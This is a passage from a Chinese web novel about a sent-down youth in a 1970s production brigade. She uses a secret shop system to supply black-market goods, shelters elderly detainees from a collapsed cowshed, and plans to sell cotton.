顾草根来找程十一时，才知道三位男同志已经去男知青那边午休了，这里只有那位同行的女同志，他也不好进屋，就招呼程十一到大门口说话。 得知了公社的意思后，程十一并没有表现出什么明显的情绪变化：“行，叔，这件事我知道了。放心吧，回头我和那四位同志说一下，具体到底要不要同意就看他们了。” “行。” 顾草根叹气：“叔是真没想到事情竟然会这样。” 他还想着这件事以他们光荣大队为主就可以了，哪里能想到这还会牵扯到公社啊！ 不过仔细想想好像也没什么毛病，毕竟人家要的量大，就光他们一个大队根本撑不住。 可再怎么觉得没毛病，他这心里也还是堵得慌。 别说是顾草根了，就连程十一的心里也有些不是滋味。 公社的意思，她能理解，但这一番说辞却让她无法接受。 公社想要掺一脚进来，也不是不行，但绝对不能以公社的意思为主，否则自己忙活这么一大圈图什么？ 她又没想在公社那边落下什么好，她只盼着能在光荣大队躺平而已。 当程十一将公社的态度告诉给屈博时，屈博的反应倒是很淡定：“没事，咱们先收光荣大队的，等光荣大队的收完了再说其他。” “公社那边不会找茬？” 程十一对于这个时代的各种买卖交易是真的不太了解，尤其是这种要走流程，走程序的，那就更是两眼一抹黑了。 屈博摇头：“他们找不到茬，目前我们提供的所有手续、程序都是合理合法的。当然，如果数量再多，甚至是扩散到整个公社下的所有大队，那可能就是另外一回事了。” 程十一见阮小舅这么有信心，她也就不紧张了。 光荣大队的山货储备量不能说少，但也是真的不算多，最多也就勉强能给机械厂的工人们小小的分一分。 屈博可不是冲着单纯的给工厂工人谈福利来的，他要的更多一些，自然是不满足就只有这么些。 相比较于屈博等人的各种计较，光荣大队的社员们可就想不了那么多了。 他们现在只感觉高兴，只恨不能一天到晚的都在山上找山货。 山货的种类并不是只有榛子核桃木耳蘑菇那些，甚至连菜干都收。 野菜干，还有各家自留地里吃不完的青菜被晒成的菜干，只要品相不错的，全都收。 这可就让大家彻底沸腾了。 有些人家没有能力经常上山找山货，但是家里面有菜干，尤其是野菜干这些，那是真的不少，如今也能换成钱了。 屈博一行人在光荣大队待了三天，三天后，他们离开去了公社，而光荣大队的社员们，最少的一户人家也能换回来小二十块钱。 这钱听着不多，但对于他们这些一年到头都赚不到几个钱的普通人来说已经很好了。 一时间，程十一的威信高度再次被刷新，甚至一度盖过了顾草根这个大队长。 和公社的合作明显要比在光荣大队的时候复杂些，价格上做出了一些让步，但在质量上却提出了更高的要求。 一旦发现有滥竽充数的存在，公社这边要直接双倍赔偿。 公社领导们也有犹豫，但最终还是决定接受这样的合作。 这可是给社员们谋取福利的好机会，并不是所有公社都能得到这样的馅饼。 等到屈博一行人离开黑省回花市时，时间已经过去了将近一个月。 整个公社旗下的所有大队，但凡是达标的山货全部被收走了。 装成了一麻袋一麻袋的搬到货车车厢里，换成了一张张实打实的现金票子。 公社有抽成，大家伙开心。 社员们有收入，所有人开心。 等送走了屈博一行人后没几天，天空也飘起了雪花。 程十一选在了还没下大之前去了一趟县城。 这期间她已经偷摸的来了两次县城，每次都是收钱，留下东西。 折腾是折腾了些，但收入很不错。 这次也是一样。 拿了钱，程十一直接去了租的院子。 欧阳城祖孙俩也搬家了，距离租的院子不算远，不过欧阳城很懂事，并没有跟着一起，好像对于程十一提供的这些货源完全不好奇。 程十一很满意他的懂事，自然也不会多问这小子到底从自己手里赚了多少差价。 就从他们祖孙俩租的房子，以及吃穿用度，精神状态来看，是肯定没少赚了。 果然是未来的黑市大佬啊，啧，这头脑真心是没谁了。 这次留下来的货比较多，几乎是之前几次的总和。 下雪后，程十一就不打算再往县里来了，主要是去公社的那段路不好走。 留下了满满一屋子的东西，程十一骑车走人。 供销社里走一圈，出来的时候大包小裹的挂在自行车上。 出了县城，拿出小轿车一路奔回公社。 在公社的国营饭店打包了饭菜，程十一一点没休息的就继续往回赶。 天空飘的雪花越来越密，地面已经被积雪覆盖，程十一担心自己要是多耽搁下，自己怕是就不好骑着自行车回大队了。 这次出来的时候特意换成了三轮车，现在回去的时候自然也就是骑着三轮车。 只不过三轮车里面堆积得满满当当的，不知道的还以为是去进货了。 天气冷，尤其还下雪了，就连皮实的孩子们都被拘在了家里。 程十一一路都没被人拦住。 回到家，正开大门，就听见隔壁院子的陈丽娇招呼：“十一，是你回来了吗？” “啊，是我。” 程十一说着，锁头打开了。 大门打开，推着三轮车进了院子。 陈丽娇也过来了，看着这一车的东西，她的眼睛都瞪圆了：“不是，十一，你，你又，又去那地方了？” 这话问得很小声。 程十一眨眨眼，面不改色的点头：“对，不是下雪了么，我寻思着以后没啥大事就不出去了，所以多买了点东西回来。” “你可真行。” 陈丽娇竖起大拇指：“这次算是看出来你是真要猫冬了。” “嘿嘿。” 程十一笑着摆摆手：“别在外面站着了，把他俩叫过来，咱们包点饺子包子啥的冻上，回头吃着方便。” 第207章 牛棚塌了 猫冬的日子对于绝大部分人来说都不算舒服，因为太冷了，为了节省燃料，再加上也是没有那么多足够的保暖的衣物，所以大家大部分时间都是窝在一张大炕上。 一些穷苦的人家只有那么两三身厚实棉袄的，那更是谁必须出屋才会穿。 转眼间，光荣大队已经下起了第二场大雪。 上一场大雪是在六七天前下过的，差不多有十公分的厚度。 雪停了后，顾草根就开始组织人手清理积雪，尤其是那些孤寡老人的屋顶。 各家各户也都安排了成年男子到屋顶上清理积雪，如果清理不及时，屋顶一旦被积雪压塌，这么冷的天，活下来的概率很低。 程十一和陈丽娇的屋顶压根不用她们两个操心，耿二牛和祝成才全权负责。 再加上不缺吃喝，不缺燃料，所以程十一这阵子的日子过得格外的舒心。 今天一早醒来，发现外面又开始飘扬起了鹅毛大雪，程十一一边穿衣服一边琢磨今天吃点什么才好。 想来想去，最后决定吃铁锅炖。 铁锅炖，主打的就是一个乱炖。 打着哈欠兑好洗脸水，等洗漱完，程十一也已经想好了今天的铁锅炖的食材都放什么。 正想着吃过早饭就去找陈丽娇说一下，谁知大门先被人拍响了。 “十一，十一你在不在？” 拍门的人是耿二牛。 程十一一边往大门口走一边回应：“在，咋了？” 很少听见耿二牛这么急切的语气，程十一还真紧张了下。 “十一，牛棚那边塌了，我和成才现在要过去帮忙清理，你和陈同志的屋顶……” “我俩这里没事，还撑得住，你们赶紧过去吧！” 程十一已经来到了大门口，打开门的时候，手里多了一把铁锹：“赶紧去吧！” “成！我们先去了！” 耿二牛也不和她客气，接过铁锹，招呼了祝成才后，俩人就急匆匆的朝着牛棚的方向赶去。 风雪太大，两个人又走得急，好几次都险些摔倒。 程十一站在大门口，看着两个人的身影消失在风雪中，又抬头看了看天。 天阴沉沉的，风雪还这么大，唉…… 程十一也没真等着耿二牛他们两个回来帮忙清理屋顶，而是吃过早饭后，她去了屋顶上面做了清理，就连陈丽娇的屋顶都是她清理的。 俩人忙活完，陈丽娇就跑到了程十一家里面待着。 两个人一边聊天一边准备中午的铁锅炖。 现在他们四个人只有中午在一起吃顿饭，至于早饭和晚饭吃不吃，怎么吃，吃什么，这些都是个人解决的。 反正这段时间大家都囤了不少冻饺子冻包子之类的，随便热一热就是一顿饭。 俩人正忙活着，就听见外面有说话声，听着声音好像人还不少。 “是不是他俩回来了？” 陈丽娇放下菜刀，朝着窗户外面看了看：“出去看看？” “看看呗！” 程十一擦了擦手，俩人就这么双手揣袖的出了屋子。 打开大门，就看到好几个人从门前走过。 相互搀扶着，身形佝偻。 哪怕是冬天了，大家都穿得多，可这些人也显得格外的瘦弱。 “这些……” 陈丽娇瞪大了眼睛，后面的话愣是说不出口了。 程十一也是被吓了一跳。 去牛棚救人，这个倒是挺正常的，但……把牛棚的人带回来，这波操作真的可行吗？ 程十一知道能被下乡到牛棚的人在未来很有可能都是各界翘楚。 但这些人的大腿真的不是那么好抱的，尤其是他们这些知青，所有行动都被大队的人看在眼里，稍有差池，别说是帮助那些牛棚里的人了，就连自己怕是都得吃不了兜着走。 所以程十一一直以来的态度都是，不抱太危险的大腿，但也不会去加害他们。 如今祝成才和耿二牛将人带到了他们两个的院子，程十一总感觉情况有点不太对劲。 这俩人之前对牛棚的人的态度和自己是一样的，现在却发生了这么大的变化，难不成是善心发作了？ 耿二牛背着个老人先回来的，开了门就往屋里送，将人安置好又赶紧回头去搀扶其他人。 祝成才走在最后面，自然而然的就看到了程十一和陈丽娇。 “等下和你俩说。” 祝成才只解释了这么一句，就搀扶着身边的老者朝前走。 程十一和陈丽娇对视一眼，俩人都是一脸的凝重。 转身回屋，陈丽娇这才低声问：“他们俩这样帮助牛棚的人，大队的人会不会找茬？” “不知道。” 程十一老老实实的摇头：“不过应该没事吧！大队长那边应该也不会眼睁睁的看着牛棚的人就这么死了。” 陈丽娇叹了口气：“真是造孽啊！” “这话你在我这里说说也就行了，在外面可别提。” 程十一提醒了句。 陈丽娇嗯了声，又问：“那些人真要住在那边的院子？” “看样子是吧！” 程十一也不确定：“牛棚塌了，这种天也不可能搭建起来新的，总要有个安置的地方。” 俩人又对视一眼。 如今在大队待的时间长了，俩人也知道整个大队还真就没有能够收容那些人的地方了。 知青点就别想了，社员家里也不可能。 思来想去的，好像也就只有他们这里还能单独隔出来个院子来收留他们。 陈丽娇又是一声长叹，继续忙活手里的事。 程十一一边清洗白菜，一边琢磨这件事。 路上就只看到了耿二牛和祝成才，以及牛棚的那些人，根本没有看到任何社员。 那么，是谁告诉的耿二牛他们俩牛棚塌的事？ 如果真是大队长安排人来说的，那刚刚大队长怎么没有出现？ 如果不是大队长安排人来说的，那么，耿二牛他们俩肯定是有人去牛棚看过了。 会是谁？ 程十一想到了耿二牛来找自己时那一脸的紧张急切。 所以……是耿二牛。 牛棚里的人，有耿二牛认识，或者说，很想要照顾保护的人。 啧，真是千算万算没算到这一点。 躲过了和牛棚的人直接联系，却没想到和中间人成为了饭搭子。 第208章 安置老人 “十一，你拿这么多小米出来干啥？咱们不是吃铁锅炖配大米饭吗？” 陈丽娇看着程十一拿着盆，盆里面放了不少金灿灿的小米，很是不解，难不成不吃大米饭，改成二米饭了？ 一边淘米，程十一一边解释：“熬一锅小米粥出来。” 顿了顿，补充了句：“那些人吃不了别的。” 陈丽娇瞬间明白，当即瞪大眼睛，震惊的看着程十一，小声问：“十一，你之前的态度不是一直不和那些人交恶，但也不会走动的吗？” 这话说得程十一很无奈，耸耸肩：“我倒是想，可是现在都成邻居了，你觉得咱们就算再怎么明哲保身，在别人看来信吗？” 陈丽娇眨巴眨巴眼睛，想了想，摇摇头：“应该不会信。” “所以啊，既然都不信了，那还明什么哲，保什么身？” 程十一将淘米水倒在洗菜盆里：“等下炒点鸡蛋，也不用太咸，有点咸淡味儿就行，配上点咸菜。你先整，我进屋去找找药。” “好，你去忙。” 陈丽娇一点不觉得生气，痛快的将熬粥的活接了过来。 程十一进屋后爬上炕，打开炕柜的门就开始发呆。 说是发呆，其实是在打开商城选药品。 不用想都知道那些人肯定是食不饱穿不暖的状态，身体冻伤怕是不会少，着凉感冒这些估摸着也躲不过去。 再加上年纪应该都不小了，一些老年人的常见病估摸着也会有。 这么一算，要准备的药也不能太少了。 当然，也不能太多，否则也不好解释。 冻伤膏准备上。 外伤清理的简单工具要准备上。 退烧药、消炎药、止咳药，这些必须得有。 再一个就是老年病的用药。 想了想，程十一找了速效救心丸，至于其他的，她倒是能拿得出来，但却不好解释自己一个健康的小丫头为什么要准备那么多种类的药。 最后往自己的筐里一装，人就去了男知青的院子。 此时，耿二牛和祝成才的院子里倒是安静，但两个房子里却是一阵忙碌。 忙碌的是两位男知青。 两个人的炕都不算宽敞，一个人睡没问题，俩人睡倒是也行，可这会儿一下子来了七个人，一下子全都安顿下来，那着实是有些挤了。 好在大家也都不是要躺着，这会儿全都在炕上坐着。 哪怕是在烧得热乎乎的炕上，这七个人也还是瑟瑟发抖。 两个男知青的被子褥子已经全都给他们披着盖着。 有两个人在躺着，脸色发红，双目紧闭，一副很痛苦的样子。 程十一过来的时候，刚好看见耿二牛出来拿东西，她就先进了耿二牛的房间。 这一进来，才发现炕上的炕柜已经被搬到了地上，这样炕又能宽敞一些。 “都是什么情况？” 程十一将筐放在厨房的桌子上：“我带了一些药过来，你俩看看能不能用得上。” “都有啥药？” 耿二牛的眼睛唰的一下就亮了，赶紧过来查看。 程十一介绍了下。 越听，耿二牛就越激动，甚至眼圈都有些红了：“十一，谢谢你！你的这些药真的是太及时了！” “你可别整这死出啊！先救人吧！回头咱们再算账。” 程十一翻了个白眼：“有没有我能帮忙的？” 耿二牛用手背擦了一下眼睛，刚想说他可以来，突然想到什么，又有些不好意思的说道：“十一，里面有两位女同志，虽然都是奶奶辈的了，可，可我和成才都是男的，不方便给她们检查身体。” “那你俩把人送我那去吧！我现在就回去把炕收拾出来。” 既然躲不过和这些人牵扯上关系了，程十一索性也就不再计较太多得失。 老天爷都安排她要和这些大腿发生交集，她要是还畏畏缩缩的，那还不如从一开始就什么都不做了。 更何况……这些人在不远的未来兴许真的会做出一些利国利民的大事，她就当是日行一善，为自己结一份善缘吧！ 反正大冬天的闲着也是闲着，找点事情做也挺好。 程十一回了自己家，和陈丽娇说了要安排老人过来检查身体的事。 陈丽娇一听，赶紧说：“还是送我那屋吧！我那屋东西少，要是都送你这里来，万一大队上或者公社来人检查，不方便。” 被陈丽娇这么一提醒，程十一也觉得确实是这么个理，当即就答应下来。 俩人来到陈丽娇的院子，隔着院墙对着隔壁喊了句后，便赶紧进屋收拾。 炕柜被搬了下来。 陈丽娇如今也练出了些力气。 至于贵重的物品，以及书籍那些不方便被人看到的，则是送到了程十一那屋。 趁着陈丽娇收拾自己东西的功夫，程十一也没闲着，回去了自己屋，将柜子里的东西全都散落在了炕上，做出一副翻找东西的样子。 然后抱着好几床明显破旧的被褥去了陈丽娇家。 此时耿二牛和祝成才已经将两位老太太背过来了，这会儿刚安置在炕上。 “这些被褥都是老家那边给我邮寄过来的，都是家里用的旧的，要是不嫌弃就先拿过去分一分吧！” 程十一将被褥放在了搬到地上的炕柜上。 这些被褥都是从老王家带出来的，正是老王家的人用过的那些。 要说新，那是真的不新，但却并没有破。 只不过和这里的被褥相比没有那么厚实而已，可现在也不是挑剔的时候了。 果然，耿二牛和祝成才连连感谢，留下两床被子给两位老太太，剩下的都搬到了隔壁去。 陈丽娇将自己的东西送到了程十一那屋，回来的时候拎着程十一的暖水壶，和已经有热水的烧水壶。 程十一友情提供了三个搪瓷盆。 全都是旧的，带了些破损的那种。 和被褥同款，都是从老王家带出来的。 一个屋里一个盆，专门给这些老人清理身体用。 条件不允许他们太挑剔，这样已经很好了。 这么一忙活，等到给七位老人全都擦洗了一遍，重新换上他们四个人的旧衣服后，天色都暗了下来。 一看时间，已经快四点了。 程十一摸了摸自己的肚子。 好饿啊！ 第209章 进腊月 小米粥早就给七位老人分了吃了，而他们四个人则是到现在都没来得及喝一口水。 程十一厨房的大铁锅里，各种食材早就已经炖得软烂，香味儿顺着门缝飘出来，在陈丽娇的院子都能闻见。 越闻，就越饿。 一顿饭，四个人吃得是头不抬眼不睁，就连平日里饭量最小的陈丽娇今天都吃了三碗米饭，撑得她直哼哼。 吃饱喝足了，四个人也不着急收拾完碗筷，全都坐着休息。 耿二牛和祝成才对视了一眼，两个人用眼神交流了下，最后同时站起身。 这突如其来的动作把程十一和陈丽娇吓了一跳。 只见这俩人绕过凳子站在空地上，对着程十一和陈丽娇一起鞠了一躬。 深深的一鞠躬，恨不能变成一百八十度的折叠平板。 “你俩这是干啥啊？” 陈丽娇被吓得不轻。 程十一虽然也意外了下，但很快恢复如常，拍了拍陈丽娇的手背，示意她稍安勿躁。 “今天的事，谢谢你们。” 耿二牛作为代表发言：“同时，我们也想向你们道歉，没有先和你们商量下就将牛棚的人接过来了。” 祝成才在一旁补充：“你们不要担心，我们会和大队长说明一切都是我俩的决定，和你们两个没有关系，如果真的要追责，我俩也会把所有的责任全都担下来。” 态度诚恳，看得出来说的都是真心话。 可陈丽娇听后却皱起了眉，总感觉这话听着有点让人不太舒服。 而程十一已经开口反问：“你俩真的觉得如果有人追究起来，我们俩能躲得过去？” 祝成才和耿二牛对视一眼，俩人都是一脸的不自信。 程十一又道：“别的不说，娇娇姐的房子已经借给她们住了，光是这一点就没办法将我们俩从这件事里洗干净。” 这一番话说得两位男同志面红耳赤。 他们倒是想说一句将人接出来，可真将人接出来了又该怎么安置？ “行了，事情都已经发生了，也已经发展到这一步了，接下来就走一步看一步吧！” 程十一现在就想好好的躺在热乎乎的炕上，压根不想再多听这俩人啰嗦。 事情都已经发生了，难不成真将人从陈丽娇的房子赶出去啊？ 她之前是没想过冒着风险抱大腿，可如今和大腿们已经牵扯上关系了，哪里还有再生生断掉的可能？ “你们俩也赶紧回去吧！晚上我和娇娇姐会去隔壁看一眼，你们俩没事的时候也常看看，主要是看他们有没有反复发烧。” 程十一说完就起身上炕。 大冷的天，果然还是趴在炕上最舒坦。 耿二牛和祝成才也没有着急离开，而是将碗筷全都刷洗干净了才离开程十一家。 陈丽娇去了隔壁看了下，确定两个老太太的情况都还稳定，又给灶里添了煤，确定一切没问题了才回到程十一家。 而此时的程十一已经躺在炕上睡着。 屋里很暖和，以至于程十一就只用一个白天盖腿的小被子盖在肚子上，睡得那叫一个香。 陈丽娇笑着摇摇头，给灶里添了柴，这才回到屋里，借着油灯看书。 半夜，程十一被系统叫醒，起来后发现陈丽娇已经睡了，她的衣服虽然没有脱，但身上的小被子已经换成了厚实的棉被。 身下的火炕还热乎乎的，铁皮炉子里也有微微的火光。 下了炕，来到厨房，这才点了油灯。 厨房还是有些凉的，程十一缓了会儿，这才套上大棉袄出了门。 隔壁的大门是从外面锁着的，耿二牛和祝成才手里有一把，程十一和陈丽娇这屋放了一把。 夜里很冷。 不下雪了，但风却更大了。 程十一打着手电筒进了屋。 不过厨房并不算太黑，至少灶口那里有光亮透出。 捅了捅里面的煤，燃烧得更充分些，脱掉了外面的大棉袄，这才进了里屋。 里屋地上摆着的桌子上面点着一盏油灯，不算很亮，但也足够看清屋里的情况。 炕上的其中一位老人听见了声音，当即挣扎着就要爬起来。 程十一连忙出声：“别动，我就是过来看看你们俩有没有反复发热。” 老太太的动作一顿，听出来这是下午帮她和老伙伴洗澡、换衣服、吃药的其中一个小姑娘。 “小程同志，这么晚了你怎么还过来？外面那么冷，你千万别冻着了。” 老太太说话的声音很轻，还时不时的咳嗽一下。 程十一见她还是要坐起来，只能上前将人搀扶起来。 炕上虽然能睡下她们两个人，但炕柜还是被搬了下来，这样散热的面积更大一些，让屋里的温度不至于那么低。 又给老人倒了杯水，见人喝下去了，程十一才道：“你们只管安心住着，先把身体养好了，其他的不要想。” “唉，我们这些老骨头是真不想给你们添麻烦。” 老太太叹气。 程十一没说话，将炉子里的火也通了通，又加了一铲子煤。 不多会儿，她就回了自己院子，没有再和那位老太太多说什么。 也不知道是压根没人知道牛棚那边出事了，还是耿二牛二人已经和大队长打过招呼了，从这七个人住下的那天开始，连着半个月的时间都没有人来打扰他们。 而这个半个月的时间里，光荣大队这里又下了两场雪。 每次都是天黑开始下，白天就晴天。 但地面的积雪根本没办法融化，所以让人越发的不再出来走动。 时间一转就进了腊月。 各家各户终于又忙活起来了。 春节，哪怕现在不支持大操大办搞过节那些，但各家各户还是在努力的为过年做准备。 与此同时，顾草根也终于组织了人手清理出了大队到公社的这条路。 因着要过节的关系，顾草根直接拍板，决定在腊月初六这天，大队的拖拉机和牛车全部免费乘坐，让社员们可以去公社采买一番年货。 这个消息着实让绝大部分人都很开心，早早的就穿戴好，相互挎着胳膊朝着村口走。 程十一这天也打算去一趟公社。 不过在去之前，她还得去找一趟大队长开介绍信。 第210章 再去县城铺货 如果公社和县城的路被清理出来了，她就去一趟县城。 之前是懒得动，可现在既然都已经要去公社了，那也不是不能顺便去一趟县城。 年前的这一段时间应该是黑市最活跃的时期，买卖肯定好做。 对于程十一要去县城的事，顾草根倒是没有想过阻拦，只不过不放心的好一番叮嘱，很快就将介绍信给了程十一。 天冷，程十一也不想自己骑自行车，就和大家一起坐拖拉机。 看着自己的大徒弟裹得跟个粽子似的坐在前面驾驶拖拉机，程十一就忍不住缩了缩脖子。 还好她以最快的速度教会了徒弟，要不然这大冷天的当冰镇大粽子的人怕就只能是自己了。 陈丽娇懒得出来受冻，不过耿二牛倒是出来了。 拖拉机上面都是人，但程十一的身份特殊，那可是弄回来拖拉机的人，自然是有优待的，直接被安排在了最前面的挡板后面。 耿二牛和程十一的关系好，这也是大队上的人都知道的，所以耿二牛也得了个便利，就坐在程十一旁边的位置。 前面和一侧都有人挡风，地面也因为都是被积雪的关系也没那么颠簸了，这一路倒是没有以前那么痛苦。 到了公社，程十一就和众人分开，像是个该溜子一样东看看西看看，很快就弄清楚了去县城的路早就已经收拾出来了，多了不说，车辆是可以通行的。 程十一果断选择去县城。 到了县城时，程十一也没停车，就这么开车去了租的小院。 让她意外的是院子里竟然有人。 进了大门一看，是欧阳城正在拿着个扫把清扫地面的积雪。 看到程十一来了，欧阳城也很诧异：“程姐？你不是说年前都不过来了吗？” “临时办点事，路过。” 程十一也没多解释：“上批货怎么样？都出手了吗？” “嗯，都出手了。” 欧阳城将积雪扫在一起：“我这就回去把钱拿过来。” “不用着急。” 程十一摆摆手：“你去东城的那个供销社看看他们的那个绿豆糕还有没有了，最近馋那口了。顺便再去附近的那家国营饭店买二十个肉包子和两份红烧肉，两份糖醋排骨，以及一盆小鸡炖蘑菇。对了，你带着家伙事去，买好后打包给我带过来。” 东城距离这里可不近，就算路面情况好的话，骑着自行车也得二十来分钟。 一来一回，再加上买东西等上菜，怎么也要一个多小时以后才能回来了。 欧阳城不疑有他，当即点头答应下来。 出门看到路面停着的小汽车时还愣了下，回头看了眼正在朝着堂屋方向走的程十一，抿了抿唇，什么都没说，拔腿就朝着自家的方向小跑而去。 屋里的炉子点着了，不过因为没点没多长时间，屋里的温度还是挺低的。 程十一将门窗关好就开始忙活起来。 过年期间什么卖得最好？ 不用问，肉绝对是最紧俏的。 成条的五花肉，每条都有二斤重。 排骨也是一根一根分割好的，还有脊骨都是被剁成了一块块的样子。 后鞧肉，猪蹄子，甚至是猪头也都是被分割好的状态。 程十一这次可是一点都没留力，直接下单五十头猪，全部分割好，按照部位摆放在架子上。 架子是欧阳城自己钉的，就靠着墙面，差不多三四十厘米的宽度。 之前程十一拿东西出来都是在地上堆放，虽然有筐之类的，可到底是占地方。 有了架子就不一样了，能摆下更多的东西。 这一排架子距离炉子最远，墙面上甚至能看到有冰霜存在，猪肉放在这里很快就能冻上，到时候再放进筐里就不用担心肉和肉会冻在一起不好分开。 过年了，只要家里不是穷到揭不开锅的，谁家还不吃顿饺子？ 既然吃饺子了，那肯定是精面的更受欢迎。 所以程十一下单五千斤精面。 能卖出去多少，全看欧阳城。 如果卖不出去，那就留着慢慢卖。 唯一的不确定性就是欧阳城会不会掉链子。 除了这些外，程十一还专门弄出来了几个大筐，里面是用棉被仔细保护好的新鲜韭菜、菠菜、黄瓜、柿子、蒜薹、青椒。 每样的数量都有两百斤。 这些可是真真正正的稀罕玩意儿，甚至比新鲜的猪肉更加金贵。 卖是肯定不愁卖的，唯一需要担心的就是保暖问题。 先卖青菜，青菜卖完了就把那些棉被也卖了。 给钱就卖，不亏本就行。 同样需要棉被保温的还有鸡蛋。 两千斤鸡蛋的包装甚至比青菜更加仔细，除了棉被保温外，还有干草铺垫，以免碰碎。 做好这些，程十一扫了一圈。 嗯，很好，屋子基本上没有多少下脚的地方了。 炉子附近是青菜和鸡蛋，远处一些的就是精面，靠着墙的架子上是猪肉。 看着门口旁边还有些空地，程十一秉着来都来的原则，又拿出了一筐的调料。 半筐白糖，半筐红糖，也凑了个一百斤。 这下好了，门口就只有一块勉强能站住一个人的地方。 要么就是炉子附近还有一圈空地，那是实在不能放东西的，容易引燃。 程十一做完这些，满意的拍了拍手，关门，上锁，走人。 临走之前，程十一还拿着大扫帚在院子里胡乱的扫了好几下。 下雪就这点不好，很容易留下痕迹。 为了不被欧阳城察觉这里没有外人到来，她只能亲力亲为的扫雪了。 给大门上了锁，程十一开车就开始在门前的空地上绕弯。 地面上留下了纵横交错的车轮印后，这才将车停在了欧阳城家的门口。 欧阳城依旧租了个独立的院子，不过瞧着可比之前的院子大多了。 院子的一侧墙根是柴棚，里面一半是整齐的木头，一半是堆成小山一样的煤块。 院子也被清理得很干净，没有多少积雪。 只有两间正屋，中间的门进去就是厨房，东西两个房间。 大门是老太太过来开的，见是程十一来了，老太太那叫一个高兴，赶紧招呼着程十一进屋暖和暖和。 第211章 这生意好像也不是不能做 程十一依旧不是空手来的，拎了一网兜的水果，几个橘子和几个苹果。 这礼看着少，可论价值却一点都不轻，着实要比罐头更贵。 老太太给程十一倒了糖水，又拉着人说了好一会儿话。 猛地，程十一突然想到什么。 她只记得来人家串门需要带礼了，却忘了这礼不仅仅是自己需要，其他人也需要啊！ 大过年的，谁家还不走个亲戚了？ 想到这里，程十一有点坐不住了，和老太太招呼了声就出了门。 重新回到租的院子，打开堂屋的门锁，将已经微微冻上的鲜肉全都装进了筐里，放在了隔壁房间。 隔壁房间并没有修缮，所以温度和外面差不多，用来放冻货刚刚好。 回到堂屋好一番整理，等程十一再次将门上锁时，里面已经再次变得满满当当，少了肉，但却多了不少水果。 再次回到欧阳城家，刚坐下还没等暖和过来，欧阳城就回来了。 手里拎着两个筐，筐里面有带着盖子的搪瓷盆，也有油纸包。 “程姐，东西都买好了。” 欧阳城的眉毛上都结了冰霜，可一摘帽子，却发现头发都是湿润的状态。 程十一有些心虚的摸了摸鼻子。 真不怪她故意折腾人，实在是这次准备的东西有点多，时间太短了不好解释。 “嗯，谢了。我这就回去了，你等下去我那院子看看，尽快出手。” 程十一提着篮子就往外面走，老太太还招呼着留下来吃饭，却被程十一婉拒。 欧阳城送程十一出大门，临上车前才说了隔壁的房间也有东西。 欧阳城还挺纳闷的，难不成这次有什么东西怕热，怕放堂屋会坏？ 可堂屋的温度也没那么高啊！甚至水都不能放，放了就能冻成冰，真不需要单独放在外面。 不过既然都已经这么放了，他也就这么听吧！左右都是要搬出来的。 可当欧阳城真的来到这里，看着那一屋满满当当的东西，甚至还有不少筐都已经摞起来了，他差点没一口气提不上来晕过去。 谁能告诉他他程姐到底是怎么弄到这些东西的啊？ 越看，他就越是震惊。 他程姐不是一般的能耐，瞧瞧这些东西，啧……果然是跟着程姐有饭吃，还是三天吃十八顿的那种。 程十一开着车就朝着公社赶。 不是她非要回到自己家里休息，而是天上又被乌云遮盖。 按照这个调调，最晚今天晚上肯定又要下雪。 要是小雪还好说，但如果是纷纷扬扬的大雪，那可就是真麻烦了。 大概是天气不好的关系，再加上又不是下班时间，公社的马路上也没见有几个路人。 偶尔看到的，也都没等对方看清楚车里有谁，轿车就嗖的一下驶过去了。 眼看着距离光荣大队不远了，程十一这才将轿车收起来，只扛着一个大布袋子往回走。 布袋子里面放着的是棉花。 这玩意儿占地大，份量轻，最能唬人。 这会儿天都快黑了，倒是没遇见什么人，程十一直接回自己家，发现陈丽娇没在。 想起隔壁的大门似乎没上锁，人应该是去看那两位老太太了。 程十一也不管，将布袋子直接地上一丢，脱掉棉袄就往炕上爬。 别看只走了不到二十分钟的路，可也把她冻够呛。 听到大门外有声响，程十一赶紧又往地上丢了两个大包。 棉花那包没有调包，但是另外两包就不一样了。 一包是粮食，一包是乱七八糟的东西，程十一也忘了里面都是什么了，反正都是个摆设，缺什么少什么的从里面翻肯定能翻到。 刚将三个大包摆在墙角，陈丽娇就从外面进来了。 “十一？你啥时候回来的？” 陈丽娇一看到程十一就很高兴：“我还以为你今天不回来了呢！” “没赶上车，所以就没去县城。” 程十一说得面不改色：“那两位怎么样了？” “都还行，没有发烧了，不过还是咳嗽，刚刚给她们送过去晚饭，等会儿再让她们把药吃了，看看明天咋样吧！” 陈丽娇看了一眼三个大包：“你一个人带回来的？” “昂。” 程十一又回到炕上趴着，可怜兮兮的看着陈丽娇：“可累可累了呢！娇娇姐，人家想吃红烧肉补补。” “你……” 陈丽娇都不知道该说点什么才好了，只能没好气的戳了下程十一的脑门，转身去厨房做晚饭。 肉是有的，不过都是冻起来的，得拿出来用凉水缓上。 光是红烧肉肯定不成，还得做点别的。 陈丽娇在外面忙活起来，程十一迷迷糊糊的差点睡着，突然听见外面有声音。 是耿二牛和祝成才发来了，俩人一边往屋里走还在一边说话。 声音不算大，但程十一听见了。 祝成才：“我回头问问还能不能弄到棉花票吧！这样下去真不行。” 耿二牛：“我回头去大队里的其他社员家里问问还有没有芦花之类的，实在弄不到棉花，芦花也凑合。” 祝成才：“布票也是个问题，他们身上的那些布料都糟了，不敢使劲，一碰就是一个窟窿眼。” 俩人进屋时还在说这个，陈丽娇问了嘴，听过原因后说道：“我那里还有几套不怎么穿的衣服，都是家里给我邮寄过来的，回头拿过去给她们分分吧！” 对于牛棚里的那些人，陈丽娇不敢说他们都是被冤枉的，但至少他们这次救回来的七个人，个个都是有能耐的。 程十一也不睡了，爬起来坐在炕上，看着墙角的三个大包发呆。 她带回来了一大包棉花，本意是做掩饰用的。 不过，好像……也不是不能卖钱哈！ 而且被两位男同志一提醒，程十一也想起来大队上有不少社员也提过缺棉花的事。 当然，人家不是和她说的，而是她找大队长的时候，恰好碰见过有社员来找大队长问棉花的事。 当时大队长的那个脸啊，真是比苦瓜还苦。 而那时候的程十一压根就没往卖棉花这件事上去想，主要是棉花太占地方了，一来一回的太折腾，也太麻烦。 可天这么冷，好像……也不是不能操作一下。 第212章 团购棉花 “你们需要棉花？” 饭桌上，程十一突然开口。 耿二牛和祝成才对视一眼，俩人都看到了对方眼里的光。 耿二牛问：“十一，你能弄到棉花？” 那语气急切又充满期待。 程十一眨巴眨巴眼，点点头：“能，不过价格不便宜，当然，不要布票。” 这话对于这两位男同志来说简直就是天籁之音。 祝成才连忙说道：“可以可以！你能弄到多少？” “你们要多少？” “十斤？不，二十斤！” 祝成才赶紧回答。 